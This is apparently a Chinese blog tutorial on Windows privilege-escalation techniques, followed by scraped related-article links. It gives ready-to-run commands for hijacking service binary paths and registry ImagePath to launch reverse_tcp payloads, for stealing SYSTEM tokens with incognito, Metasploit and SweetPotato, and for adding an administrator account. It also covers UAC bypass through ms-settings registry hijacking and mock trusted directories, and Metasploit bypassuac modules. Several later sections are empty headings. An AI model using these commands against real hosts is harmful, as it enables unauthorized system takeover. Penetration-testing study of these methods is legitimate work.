一、前言

将介绍常见的提权方法。从为什么该方法能够提权(原理)到使用方法。

二、系统内核漏洞提权

1.为什么能提权?

内核漏洞通常是指内核溢出漏洞,什么溢出呢?缓冲区溢出。

那什么是缓冲区溢出呢?当应用程序或者是内核的驱动程序在接受用户输入的数据的时候,它会把这些数据存储在缓冲区,但是当数据过多溢出的时候,这样溢出的数据可能就会覆盖栈或者堆中的数据结构,包括函数的返回地址和权限的控制信息。攻击者就会利用操作输入的数据来覆盖代替内核的关键数据结构。将恶意代码植入到内核内存中。从来达到提权。

当存在这种漏洞的时候,要及时打上补丁。当然这里就是利用没有打上补丁的系统去提权。主要就是信息收集。

2.手动寻找可利用的漏洞

使用命令去查看系统打了哪些补丁。

systeminfo
或者
wmic qfe get caption , description , hotfixid ,installedon

再去https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp

3.自动寻找

https://github.com/AonCyberLabs/Windows-Exploit-Suggester
使用Windows-Exploit-Suggester
1 ./windows-exploit-suggester.py --update
2 使用systeminfo获取系统信息,将其保存,如1.txt
3 ./windows-exploit-suggester.py --database 2023-11-04-mssb.xls --systeminfo 1.txt

三、系统服务提权

1.为什么系统服务能提权?

windows系统服务在操作系统启动时运行,并在后台调用可执行文件。但是大多数服务都是以system的权限启动的,如果让这个服务启动时区启动其他的程序,该程序就会随着服务的启动获得系统权限。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。

现在有哪些不安全的系统服务能提权呢?

2.不安全的服务权限

什么是服务权限,就是对服务操作的权限。ACL定义了安全对象的访问控制策略,就是规定哪些用户有些什么样的权限,常见的如下表。其中呢对服务的权限控制呢可能就疏忽了,给用户配置了 SERVICE_CHANGE_CONFIG (更改服务配置权限)或者 SERVICE_ALL_ACCESS(完全控制权限)。也即是说,当这个用户有这两个权限之一,他就可以修改这个服务的启动时候的二进制文件路径。让他去执行恶意文件。从而达到提权。

权限 说明
SERVICE_START 服务启动
SERVICE_STOP 服务暂停
SERVICE_PAUSE_CONTINUE 服务启动或者暂停
SERVICE_QUERY_CONFIG 查询服务配置的权限
SERVICE_CHANGE_CONFIG 更改服务配置的权限
SERVICE_ALL_ACCESS 完全控制权限

那我们只要找“Authenticated Users"组和”INTERACTIVE“组的对系统服务的权限是否有SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS的权限。

为什么找这两个组呢?因为这两个组是计算机本地users组的成员。

怎么查询呢?可以使用工具accesschk

使用以下命令进行查询:

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
或者
accesschk.exe /accepteula -uwcqv "INTERCTIVE" *

这样就能查询该组是否有更改服务配置的权限。

例如发现 InsproSvc 服务具有SERVICE_CHANGE_CONFIG的权限。那么就可以将该服务启动时执行的二进制文件替换成预先上传的攻击载荷。当服务重启攻击载荷(reverse_tcp)就会继承系统权限。如下命令进行替换

sc config Insprosvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe"
# 指定insprosvc服务的二进制文件路径,=后要有空格

重启服务之后就会生效。

sc stop insprosvc
sc start insprosvc

3.服务注册表权限

和2一样,如果低用户对某些服务的注册表拥有写入权限,那么就可以修改服务的启动路径为攻击载荷路径。

Accesschk.exe 查看用户是否有这些权限

accesschk.exe /accepteula -uwcqv "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services

假设发现对RegSvc服务具有完全控制的权限。那么就修改路劲

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\RegSvc /v ImagePath /t REG_EXPAND_SAZ /d “cmd.exe /k C:\users\public\revers_tcp.exe" /f

使用命令查看是否拥有重启权限

accesschk.exe /accepteula -uwcqv "Authenticated Users" RegSvc

有的话重启就可提权

4.服务路径权限可控

某个服务的二进制文件权限可以写入,那么就可以将载荷攻击文件写在那。

wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\”
探测符合条件的服务

如果发现某个服务的路径可写。那么就将那个服务的可运行文件替换成同名的攻击载荷。

upload /root/reverse_tcp "c:\program\xx\xx.exe"

再重启服务即可提权。

5.powerup

当然上述的所有关于服务的提权,powerup中都有涉及。https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

详细使用参考https://blog.csdn.net/l1028386804/article/details/86089574?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169917767416800225535038%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169917767416800225535038&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-86089574-null-null.142v96pc_search_result_base5&utm_term=PowerUP&spm=1018.2226.3001.4187

基本使用

1.导入模块 Import-Module .\PowerUp.ps1
2.一键查询服务Invoke-AllChecks

四、令牌窃取

1.什么是令牌窃取?为什么能提权?

首先得知道什么是令牌?这里的令牌窃取通常是指进程的访问令牌的窃取?那什么是访问令牌?访问令牌是描述进程安全上下文的对象,包含了与该进程相关的用户账户标识和特权等信息。

然后就可以通过操作一个高权限进程的访问令牌来 当做一个进程的令牌。就是说偷其他进程的令牌来用。然后就可以拥有那个令牌自身拥有的权限。

能偷其他进程的访问令牌的条件:该用户必须有SeImpersonatePrivilege 和SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege权限。而这两个权限的用户通常是系统管理员账户,web服务账户,和IIs MsSQL账户等。

2.直接令牌窃取(直接偷)

2.1 使用incognnito.exe。上传到主机。

incognito.exe list_tokens -u #列举当前主机上的所有访问令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" whoami
#-c 偷令牌,whoami 偷完后执行的命令
incognito.exe execute -c "travel-me\Bob" cmd
偷域下Bob的令牌,然后执行它的。也就是切换到Bob的用户。

2.2 使用MetaSploit 偷

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
steal_token <PID> #偷上面所列进程的ID令牌

有时候system 权限也有更改不了的东西,比如Windows系统文件,那么就可以偷TrustedInstaller权限。

sc start TrustedInstaller 启动服务

steal_token

3.Potato土豆提权

potato家族有很多小偷,专门偷人家的令牌。比如:Rotten Potato 烂土豆,Juicy potato 等。

甜土豆集成了大多数土豆https://github.com/uknowsec/SweetPotato

使用 命令

sweetpotato.exe -a <命令>

#比如 sweetpotato.exe -a whoami
sweetpotato.exe -a "net user test Admin&1 /add"
sweetpotato.exe -a "net user localgroup Administrator test /add"
添加管理员用户。

五、绕过UAC

1.什么是UAC?绕过他为什么就能提权?

UAC (user Account Control)用户账户控制,用来管理操作系统不让他乱安程序。在安装软件的时候一般都会弹出来一个是否允许安装的提示,就是那个东西。

绕过它之后咱就可以安装恶意软件了呗。然后就可以提权。但严格意义上来说也不是提权,只是绕过了这种保护机制。

2.通过UAC白名单绕过

什么是UAC白名单?操作系统自己有一些进程在运行的时候不需要通过验证就直接可以运行,这些程序在UAC白名单中,比如:slui.exe.taskmgr.exe等。

当这些程序运行的时候可以通过DLL劫持,DLL注入或者注册表劫持等 绕过DLL去执行我们的恶意程序。

这里举例注册表劫持:

2.1 首先使用工具找出白名单的程序。

在UAC白名单中的程序都有一个特点,就是Mainfest数据中的autoElevate属性的值为True。

strings.exe 可以检测程序是否有autoElevate 属性,从而找出白名单的程序:

strings.exe /accepteula -s C:\windows\system32\*.exe | findstr /i "aotoElevate"

假如ComputerDefaults.exe 进程:

打开这个exe,没有验证直接进入默认应用界面。

通过进程监控 分析该进程会发现,它会先去访问HKCU\Software\Classes\ms-settings\shell\open\command,发现没东西后再去访问 HKCR\ms-settings\Shell\Open\Command\DelegateExecute.

然后我们就可以劫持HKCU\Software\Classes\ms-settings\shell\open\command 中的默认值和 DelegateExecute

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe"  #可以是攻击载荷的路径。

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe"

当这个应用重启的时候就会反弹或者打开cmd,然后getsystem

3.DLL劫持

什么是DLL劫持,程序通常并不是一个完整的可执行文件,被分割成一些DLL文件。当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序就会以特定的顺序去遍历搜索加载的DLL,如果将同名的恶意的DLL文件放在真正的DLL之前,那么就会被劫持。这就是劫持。

但是这前提是这个遍历目录可写。这个目录通常又不可写。所以这个技术通常和模拟可信任技术来配合使用。

所以提出下面这个 模拟可信任目录

4.模拟可信任目录

之前说了UAC白名单中的程序的manifest 数据中的autoElevate为true,当执行的时候,不但要检查这个条件,还要检查这个程序是否在可信任目录C:\windows\system32中。两者缺一不可。但是当系统在检查可信任目录时,会自动去除路径中的空格。比如

”C:\Windows \system32" 会被解析成 “C:\windows\system32”

那么我们就可以创建一个”C:\Windows \system32"目录,把白名单中的程序复制进这个含空格的目录中。再把恶意DLL文件放到这个模拟的可信任目录中。然后运行这个模拟目录中的可执行程序。就会达到绕过UAC DLL劫持提权的效果。

md "\\?\C:\Windows "
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\winSTA.exe "C:\Windows \System32\winSAT.exe"

但是制作DLL的时候,要注意恶意DLL的导出函数要与被劫持的DLL一样。

专业名词解释:DelegateExecute 是 Windows 操作系统中的一个 COM (Component Object Model) 接口,它通常与应用程序扩展和外部处理程序相关。DelegateExecute 接口允许一个应用程序或组件将某些任务委托给其他程序或处理程序来执行,通常是为了增强功能或实现某种定制化的行为。

Manifest 数据指的是一个应用程序清单(Application Manifest),它是一个用于描述应用程序特性、依赖关系、权限要求以及其他元数据的 XML 文件。应用程序清单通常附加到应用程序的可执行文件(如 .exe 文件)或动态链接库(DLL)中,以便操作系统和其他程序能够正确地识别和与应用程序互动。

5.使用MSF下的Bypass模块绕过UAC

use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit

六、Print Spooler 打印服务提权

Print spooler 服务是Windows 的打印后台处理服务,用来管理本地和网络的打印队列。

1.PrintDemo (CVE-2020-1048)

这个漏洞就是,用户可以在系统上写入任意文件。为什么能写入文件呢?

在Windows 上添加打印机的时候需要设置端口,这些端口可以是LPT1端口,USB端口,网络端口,也可以是文件,当是一个文件路径的时候,那么打印机就会把数据打印到指定的文件。但是标准用户想要将路径设置到受保护的路径的时候就会因为没有权限而失败。

但是微软为了应对打印过程中突然中断或者异常情况,引入了假脱机打印机制,什么意思?就是说当打印出现异常的时候可以重启然后继续打印。

然而这就会有一个问题,当重启服务的时候会直接调用system权限来恢复之前的打印作业。如果此时的打印机的端口为文件路径,那么就会造成任意文件写入。

关于这个漏洞https://bbs.kanxue.com/thread-261557.htm

2.CVE-2021-1675 、CVE-2021-34527

七、Nopac 域内提权(Kerberos)

八、Certifired活动目录证书提权

内网渗透-Windows常用提权方法的更多相关文章

  1. 内网渗透 day5-msf本地提权(windows)

    msf本地提权 目录 1. 利用uac提权 1 2. 绕过uac认证 2 3. 利用windows本地提权漏洞进行提权 4 1. 利用uac提权 前提与目标机建立会话连接 seach local/as ...

  2. [内网渗透]Windows中的用户帐户与组账户

    0x01 用户帐户 1.1 简介        用户帐户是对计算机用户身份的标识,本地用户帐户.密码存在本地计算机上,只对本机有效,存储在本地安全帐户数据库 SAM 中.        文件路径:C: ...

  3. 内网渗透-windows认证

    前言:全国HW刚结束,加强一波内网概念,去年11月红队成绩并不理想,这次必拿下好成绩.冲!!! 0x00 本地认证 本地认证基础知识 在本地登录Windows的情况下,操作系统会使用用户输入的密码作为 ...

  4. 内网渗透----windows信息收集整理

    一.基础信息收集 1.信息收集类型 操作系统版本.内核.架构 是否在虚拟化环境中,已安装的程序.补丁 网络配置及连接 防火墙设置 用户信息.历史纪录(浏览器.登陆密码) 共享信息.敏感文件.缓存信息. ...

  5. 内网渗透----Windows下信息收集

    一.基础信息收集 使用systeminfo命令查看操作系统版本.架构.补丁情况 Windows-Exploit-Suggester-master -u 参数升级并将数据库下载至本地: -i 参数指定系 ...

  6. 内网渗透 - 提权 - Windows

    MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...

  7. Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

    个人博客阅读体验更佳 本次来试玩一下vulnhub上的Billu_b0x2,下载地址. 下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题.靶场推荐使用N ...

  8. ssh远程端口转发&&windows系统提权之信息收集&&网安工具分享(部分)

    一.ssh远程端口转发 背景:当我们在渗透过程中,获取到内网的一台仅有内网IP的服务器后,我们可以通过ssh隧道,将内网某个主机的端口进行远程转发 1.网络拓扑图 假设获取的服务器为web服务器,we ...

  9. metasploit下Windows的多种提权方法

    metasploit下Windows的多种提权方法 前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以 ...

  10. 7.内网渗透之windows认证机制

    文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...

随机推荐

  1. Spring的xml和注解对比

    常用注解 bean定义 XML方式:<bean></bean> 注解方式:@Component 通用组件 @Controller(web层) @Service(service层 ...

  2. Spring(注解方式)简单入门

    环境准备 maven jdk Spring Eclipse 项目创建 pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0 ...

  3. 防火防盗防CDN流量盗刷

    没想到自己的小破站也逃不掉被攻击的命,分分钟就给我刷欠费了. 本来不想写这篇文章的,但看到好多大佬(小林coding. JavaGuide)近期cdn都被盗刷了. 还是来提醒下大家,防火防盗防cdn流 ...

  4. P2910

    #include<iostream> #include<utility> #include<vector> using namespace std; typedef ...

  5. 洛谷P1747

    这个题被坑麻了,题目居然不给棋盘的范围,评论区居然有人说棋盘是无限大的,我想说的是如果真是这样那么第9个点答案应该是2而不是3,这个棋盘绝对是有大小的. #include<iostream> ...

  6. 浅谈地址,section,vstart

    地址:地址只是数字,描述各种符号在源程序中的位置,它是源代码文件中各符号偏移文件开头的距离.由于指令和变量所占内存大小不同,故他们的偏移量参差不齐.由编译器给各符号编址,编译器给程序中各符号(变量名和 ...

  7. Nuxt 使用指南:掌握 useNuxtApp 和运行时上下文

    title: Nuxt 使用指南:掌握 useNuxtApp 和运行时上下文 date: 2024/7/21 updated: 2024/7/21 author: cmdragon excerpt: ...

  8. Hadoop 部署

    hadoop部署步骤: 环境rhel8.2 1.配置主机网络信息 使物理机能和主机ping通 使用secureCRT与虚拟连接 设置网卡(dhcp) [root@maoqiyang ~]# nmcli ...

  9. docker redis集群实验

    集群redis 分片+高可用+负载均衡 master + slave{1..5} 一个挂了另一个顶上 通过脚本创建6个redis配置文件 [root@docker ~]# for port in $( ...

  10. 02 IO口的操作

    目录 前言 一.IO的概念 1.IO接口 2.IO端口 二.CPU和外设进行数据传输的方法 1.程序控制方式 1.1 无条件 1.2 查询方式 2.中断方式 3.DMA方式 一.方法介绍和代码编写 1 ...